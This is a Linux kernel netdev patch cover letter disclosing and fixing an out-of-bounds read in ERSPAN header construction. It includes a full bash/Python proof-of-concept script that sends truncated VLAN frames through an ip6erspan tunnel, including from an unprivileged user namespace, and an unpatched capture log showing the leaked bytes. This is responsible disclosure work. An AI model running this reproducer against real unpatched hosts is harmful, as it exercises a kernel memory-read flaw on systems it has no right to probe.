From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=209.85.216.43 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1796016171; b=cas4z4sEJJp85mLQr097dFsGPAVL6ZXGhxtR7bmYiB/9RhSNbbv6D9fouOEfeXTI1vf1 5OY5R1oMEh4mHKlXkakrTe823zi+/PdjAYMGwq21yx59ZhNzOE78l49H9/hYI4cfagR+M tNIQiTxGzyJT740RPZqDNIrj3NImMUF5fw8s6a7Ba4+OFJNxuGrv0O2ySaDtCIhsbZlvh M917wEkDkHVDF5JzCD3r/Pb026qURjw/D7VduIGkOkkDbWUAXmUHrwlDyiI38ifCpuK9c 5HAkunjF27P7lBMHJGXqvxh5L4QpY7gR6uRcdKQx2vN6NcBmnAvMstgsme9u9qTSpYA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1796016171; h=DMARC-Filter:Received:DKIM-Signature:X-Google-DKIM-Signature: X-Gm-Message-State:X-Gm-Gg:X-Received:Received:From:To:Cc:Subject: Date:Message-ID:X-Mailer:MIME-Version:Content-Transfer-Encoding; bh=lJiwryEj0JWHXZe/c2uzL0ZNHLfKgjpVfrZTPdlaGSk=; b=T+uWr3RJTLZDn7/TITufkAQiAelWnNBrsHmn2Df5Uqdb+3Y8D1g9k+JVXhf8kC6vv//c +682E1bmVJNBVLojfG9pX+WN9baB1j957l99jIyOXRo1fUERc5Urggj3PXqkP4wUhDQJV pn+oeS3Ng5sJuukMUpYujxrX+3Q3rngzoGUptRlYU4h7/uTaEcO893PumrAU+ojjLMCwY 2S5xYcNqXcRTOLtoQ32OgxvHfjlxluU31wnsDqKgIC8uBYNtWlY5k9mmjILTweYeh2rZZ eS9PfVBofIGLKbX6wB6+BjsvIg8CDnSSh2CV/BZlroscPCRKQs+ZONCjoBFcQzZxyRg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass header.d=nebusec.ai header.i=@nebusec.ai header.a=rsa-sha256 header.s=google header.b=GWplKrMo; arc=none smtp.remote-ip=209.85.216.43 Received: from mail-pj1-f43.google.com (mail-pj1-f43.google.com [209.85.216.43]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id B518B606A31C for ; Mon, 30 Nov 2026 05:22:50 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org B518B606A31C Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=nebusec.ai header.i=@nebusec.ai header.a=rsa-sha256 header.s=google header.b=GWplKrMo Received: by mail-pj1-f43.google.com with SMTP id 98e67ed59e1d1-3b3fb193c03so4291944a91.2 for ; Sun, 29 Nov 2026 21:22:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1796016170; x=1796620970; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=lJiwryEj0JWHXZe/c2uzL0ZNHLfKgjpVfrZTPdlaGSk=; b=GWplKrMoCo1RNaXeYomUO4rvh3iAgM7cqW8w92/+rr7uvp+nPENHAQiBTs5ngKBD9I c6KiMGcWgqL0lqVdAo/84A5onkwmoonZ3V0DtAqFAi6nPkmGRf6mzCPmkWxqX87s+Ypd J3nmbjZ6FtmpvLnrYGdmopS3GWizsgeZ0RoqIQYeuRiKC6ADTrWNQ3niFcd7OnQoPgEZ 0Nj9ayhmCiBDXDXl+wb7ooZUiMfPzsmtjlxvx2aCCxvs5qrMLSwe1zT9GeyNz6pQHkdn rXKIv79nvier9bbkUdfBgoHRNLhe2r0XcaK4bptaTfTAo0e7HFZ//dH1wlhm2NRG8fFA hwmg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1796016170; x=1796620970; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=lJiwryEj0JWHXZe/c2uzL0ZNHLfKgjpVfrZTPdlaGSk=; b=IqyU7sArWQXBD9ymg2R4S2mhMZRr7xxci9zgHJb7UNn0f1zqQy4stL0nrIbkIWy2ou ztBdmcy4pDvLxwDJ5/zm1FEM0+uuftD1zbXNxQid+P7KJp+ZruLrsmg0wmlo7PRkT6ho N75JndTYUTG0DsQaNUlWsZXarJIQBOmRjvINng9BoUvxkL/fMJE0PUcjjfKjsnpDhVPP Vha++LECkuCSD1GHiSFpPIG5U8pO2fnrtwFR55RSf74pK+pJHv18OUKxchXfINm/ItBB ZhtC4mSz2MmnyRJpWKwGdKoKFU9YGMsOAc6Y3tMvjDJ+IQ8mu7c8b41OXaeS7RkW9s/F Xi8w== X-Gm-Message-State: APuU4Z+QXoL+QNEy3iZ9rS0jIsWyKVnINvmCWLy1bSgDK/sSJOM/PHyG cwGybAi6omGDNU30Gkens3APV6oRLNbapKswRK6ILIF2VfUK+43WopjFw6GPkVVwJA1Wj7G1wuK SdjXRoA== X-Gm-Gg: AZFdTZe6MibzywaFJW0InDX7H5HxAQjylFNYjoTtvgiNDhpbcKjp+cbJfU8qOUksGQQ 5//3IPK49rgdLNNspI8eozsdZnixXf2uZHvO05V1fa6K7b1FpaR5a8vQYXiWYDAheM+vFMbSmHS e5DCKyuSLoPnIiFse5wyPjIkwP1JzO6d6Is3dc9afVbM2yAkOzuUa8fY2QVFjQZgkIbu95eSGZg +rZ7OG9wtkdz4M3/vpzWEKQXQXfmrwt/U6gkTf6vTG8D73MLtd/EpiQCaB/7IpLV0IoyZI3yacb uoFjPNAQLh1xxALYHmYzDNY9BcFouz2pw8kJ8osYI9QKLFaCSLfWogdXT4ZzyExbaZfneJV+Gpe Rur8kwB9N2YNm8b+McVNSFA1OrcZk2JC/jkQ4GTtL7F8UhO+wkjqzeIW3Dagd9ly3Y3Eb+Qzl+F YNSNnfteREdJhY5PXVeCnTTpg4lMw/cj9bzIvkTKIv7zi2CtOltQ8QbzH+N4tU/Q9JDnv6j9OOG 9aBD/oaoT3p4u18YKxnCC4JAg6HhkXWFy2BSatnJfe+hteMAXEuc4Mu2XzkymhX07WR+4VDG1e8 vqZqDsj4/vqmaUhBjL77GxqiOC+Ozw8TqPs9wmbc3P4GCf9xQ8D81zxRirTH X-Received: by 2002:a17:90a:c106:b0:3b5:728d:2d22 with SMTP id 98e67ed59e1d1-3b5728d2f1amr3251494a91.31.1796016169796; Sun, 29 Nov 2026 21:22:49 -0800 (PST) Received: from enjou-Legion-Y7000P-2019 ([155.94.157.51]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-3b405ecb486sm53444635a91.16.2026.11.29.21.22.44 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sun, 29 Nov 2026 21:22:49 -0800 (PST) From: Ren Wei To: netdev@vger.kernel.org Cc: davem@davemloft.net, edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com, willemb@google.com, horms@kernel.org, dsahern@kernel.org, idosch@nvidia.com, u9012063@gmail.com, mvohra@vmware.com, matthias.may@westermo.com, vega@nebusec.ai, sashiko-bot@kernel.org, rakukuip@gmail.com, weir@nebusec.ai Subject: [PATCH net 0/1] net: erspan: avoid out-of-bounds reads on short non-IP frames Date: Mon, 30 Nov 2026 13:22:40 +0800 Message-ID: X-Mailer: git-send-email 2.53.0 X-Mailing-List: netdev@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: 8bit From: Luxiao Xu Hi Linux kernel maintainers, We found and validated an out-of-bounds read bug in include/net/erspan.h affecting ERSPAN header construction in net/ipv6/ip6_gre.c and net/ipv4/ip_gre.c, together with a downstream VLAN protocol reclassification mismatch in ip6_tnl_xmit() and ip_tunnel_xmit(). The buggy transmit path is reachable by an unprivileged user inside a user and network namespace (unshare -Urn). This bug is tracked at: https://bugtracker.nebusec.ai/f/11933 Related mailing-list context: Anton Danilov's earlier ip6_gre patchset (v4 message-id 20261004145205.226974-1-littlesmilingcloud@gmail.com, v6 message-id 20261008012554.202925-1-littlesmilingcloud@gmail.com) targeted ip6gre_tunnel_xmit() VLAN length checks for syzkaller bug 6023ea32e206eef7920a and explicitly deferred the pre-existing erspan_build_header() / erspan_build_header_v2() and downstream tunnel issues to follow-up patches. Neither v6 nor a follow-up has been merged into net.git. This patch addresses that independent follow-up without superseding the ip6gre_tunnel_xmit() changes. ---- details below ---- Bug details: 1. ip6erspan_tunnel_xmit() and erspan_xmit() rely on pskb_inet_may_pull(), which requests zero network-layer bytes for non-IP and ETH_P_8021Q/ETH_P_8021AD protocols. Short non-IP or truncated VLAN frames therefore pass entry validation and enter erspan_build_header() or erspan_build_header_v2(). 2. Both ERSPAN header helpers unconditionally read IPv4 tos or IPv6 traffic-class bytes using the outer tunnel address family flag (is_ipv4), and dereference eth->h_proto and (skb->data + 2 * ETH_ALEN) without checking frame length or linear headlen. On a 14-byte non-IP or 802.1Q frame, those reads access missing bytes past skb->len in skb tailroom and encode them into the ERSPAN COS and VLAN fields. 3. Downstream ip6_tnl_xmit(), ip_tunnel_xmit(), and ip_tunnel_get_dsfield() call skb_protocol(skb, true) after GRE and ERSPAN headers have been pushed. Because skb_protocol(skb, true) walks VLAN tags from skb->data rather than skb_mac_header(skb), it reads pushed GRE/ERSPAN and inner MAC bytes and can reclassify a short non-IP VLAN frame as ETH_P_IP or ETH_P_IPV6, reading unpulled bytes past skb->len. Fix summary: - Add erspan_xmit_prepare() in include/net/erspan.h and use it at entry of ip6erspan_tunnel_xmit() and erspan_xmit() to ensure ETH_HLEN bytes are linear, walk VLAN tags from ETH_HLEN with skb->mac_len cleared, reject truncated VLAN tags, and pull any inner IPv4/IPv6 base header. - Add erspan_get_tos() and erspan_get_vlan_tci() using skb_header_pointer() so ERSPAN header construction safely handles non-IP, VLAN-tagged, and non-linear skbs, and drop the obsolete is_ipv4 parameter from both helpers and their callers. - Add ip_tunnel_payload_protocol() in include/net/ip_tunnels.h using skb_mac_offset(skb) for ARPHRD_ETHER devices and use it in ip6_tnl_xmit(), ip_tunnel_xmit(), and ip_tunnel_get_dsfield(), while guarding ip6_tnl_xmit() hop-limit inheritance with skb_header_pointer(). Testing & Validation: Validated on an x86_64 QEMU guest (2 vCPUs, 2 GB RAM, KASAN=y, slub_debug=P) with CONFIG_IPV6_GRE=y, CONFIG_NET_IPGRE=y, and CONFIG_VLAN_8021Q=y: 1. Pre-fix reproduction (./poc.sh root): - 16-byte control frame (0x8100 + abcd): erspan_hdr=1bcdb87b00000007 vlan=0xbcd cos=5 encap=3 (the 0xab byte of the VLAN TCI was wrongly read as IPv6 tclass) - 14-byte trigger frame (0x8100, missing TCI): erspan_hdr=1000187b00000007 vlan=0x000 cos=0 encap=3 (encap=3 set and bytes 14-15 sampled past skb->len) 2. Post-fix verification (./poc.sh userns + 27-case suite + ping): - All 10 truncated VLAN / truncated VLAN-IP cases (14/16-byte 0x8100, 18/24-byte 0x8100+IPv4/IPv6 across ip6erspan v1/v2/ collect_md and IPv4 erspan v1/v2) are dropped cleanly. - Valid 14-byte untagged ARP frames and 18-byte VLAN non-IP frames with 08:00/86:dd destination MACs are NOT misclassified as IP under hoplimit 0 / ttl inherit / tos inherit (outer TTL stays 64, cos=0). - Valid untagged and VLAN-tagged IPv4/IPv6 frames preserve VLAN TCI, inner DSCP->COS, and TTL/hop-limit across both ip6erspan and erspan. - End-to-end ping over ip6erspan and erspan passed, with zero KASAN/UBSAN/BUG/WARNING messages in dmesg. Reproducer: bash ./poc.sh root bash ./poc.sh userns === BEGIN poc.sh === #!/bin/bash set -euo pipefail mode="${1:-root}" cleanup_root() { ip netns del ns1 2>/dev/null || true ip netns del ns2 2>/dev/null || true } run_root() { trap cleanup_root EXIT cleanup_root ip netns add ns1 ip netns add ns2 ip link add v0 type veth peer name v1 ip link set v0 netns ns1 ip link set v1 netns ns2 ip -n ns1 link set lo up ip -n ns2 link set lo up ip -n ns1 addr add fc00::1/64 dev v0 nodad ip -n ns2 addr add fc00::2/64 dev v1 nodad ip -n ns1 link set v0 up ip -n ns2 link set v1 up ip netns exec ns1 ping -6 -c 1 -w 1 fc00::2 >/dev/null ip -n ns1 link add ers0 type ip6erspan \ local fc00::1 remote fc00::2 dev v0 \ key 123 seq erspan_ver 1 erspan 7 ip -n ns1 link set ers0 up ip netns exec ns2 python3 - <<'PY' >/tmp/ip6erspan_capture.txt & import binascii import ipaddress import socket ETH_LEN = 14 IP6_LEN = 40 GRE_LEN = 8 ERSPAN_OFF = ETH_LEN + IP6_LEN + GRE_LEN TARGET_DST = ipaddress.IPv6Address("fc00::2").packed def parse(frame): b0, b1, b2, b3 = frame[ERSPAN_OFF:ERSPAN_OFF + 4] vlan = ((b0 & 0x0F) << 8) | b1 cos = b2 >> 5 en = (b2 >> 3) & 0x3 session = ((b2 & 0x3) << 8) | b3 inner = frame[ERSPAN_OFF + 8:] return { "erspan_hdr": frame[ERSPAN_OFF:ERSPAN_OFF + 8].hex(), "vlan": vlan, "cos": cos, "encap": en, "session": session, "inner_len": len(inner), "inner_hex": inner.hex(), } s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x86DD)) s.bind(("v1", 0x86DD)) for label in ("control", "trigger"): while True: frame = s.recv(2048) if len(frame) < ETH_LEN + IP6_LEN: continue if frame[ETH_LEN + 6] != 47: continue if frame[ETH_LEN + 24:ETH_LEN + 40] != TARGET_DST: continue break parsed = parse(frame) print(f"{label}: outer_len={len(frame)} inner_len={parsed['inner_len']}") print( f"{label}: erspan_hdr={parsed['erspan_hdr']} " f"vlan=0x{parsed['vlan']:03x} cos={parsed['cos']} " f"encap={parsed['encap']} session={parsed['session']}" ) print(f"{label}: inner_hex={parsed['inner_hex']}") print(f"{label}: outer_hex={binascii.hexlify(frame).decode()}") PY cap_pid=$! sleep 1 ip netns exec ns1 python3 - <<'PY' import socket s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) s.bind(("ers0", 0)) s.send(bytes.fromhex("aabbccddeeff0011223344558100abcd")) s.send(bytes.fromhex("aabbccddeeff0011223344558100")) PY wait "$cap_pid" echo "[root] captured packets" cat /tmp/ip6erspan_capture.txt } run_userns_inner() { ip link add v0 type veth peer name v1 ip addr add fc00::1/64 dev v0 nodad ip addr add fc00::2/64 dev v1 nodad ip link set lo up ip link set v0 up ip link set v1 up ip link add ers0 type ip6erspan \ local fc00::1 remote fc00::2 dev v0 \ key 123 seq erspan_ver 1 erspan 7 ip link set ers0 up python3 - <<'PY' import errno import socket s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) s.bind(("ers0", 0)) frame = bytes.fromhex("aabbccddeeff0011223344558100") try: sent = s.send(frame) print(f"[userns] send() returned {sent}") except OSError as exc: print(f"[userns] send() failed errno={exc.errno} ({exc.strerror})") PY echo "[userns] ers0 stats after send" ip -s link show ers0 } run_userns() { if [ "$(id -u)" -eq 0 ] && [ -z "${POC_UNSHARED:-}" ]; then POC_UNSHARED=1 unshare -Urn -- "$0" __userns_inner else POC_UNSHARED=1 unshare -Urn -- "$0" __userns_inner fi } case "$mode" in root) run_root ;; userns) run_userns ;; __userns_inner) run_userns_inner ;; *) echo "usage: $0 [root|userns]" >&2 exit 1 ;; esac === END poc.sh === === BEGIN observed unpatched log === [root] captured packets control: outer_len=86 inner_len=16 control: erspan_hdr=1bcdb87b00000007 vlan=0xbcd cos=5 encap=3 session=123 control: inner_hex=aabbccddeeff0011223344558100abcd control: outer_hex=0686080116b896c7774b157886dd6002902c00202f40fc000000000000000000000000000001fc000000000000000000000000000002100088be000000031bcdb87b00000007aabbccddeeff0011223344558100abcd trigger: outer_len=84 inner_len=14 trigger: erspan_hdr=1000187b00000007 vlan=0x000 cos=0 encap=3 session=123 trigger: inner_hex=aabbccddeeff0011223344558100 trigger: outer_hex=0686080116b896c7774b157886dd6002902c001e2f40fc000000000000000000000000000001fc000000000000000000000000000002100088be000000041000187b00000007aabbccddeeff0011223344558100 Note: The out-of-bounds read stays inside the allocated skb head / skb_shared_info area, so KASAN does not report a slab-out-of-bounds panic. === END observed unpatched log === Best regards, Luxiao Xu Luxiao Xu (1): net: erspan: avoid out-of-bounds reads on short non-IP frames include/net/erspan.h | 119 +++++++++++++++++++++++++++++---------- include/net/ip_tunnels.h | 13 ++++- net/ipv4/ip_gre.c | 15 ++--- net/ipv4/ip_tunnel.c | 2 +- net/ipv6/ip6_gre.c | 13 ++--- net/ipv6/ip6_tunnel.c | 24 +++++--- 6 files changed, 130 insertions(+), 56 deletions(-) -- 2.43.0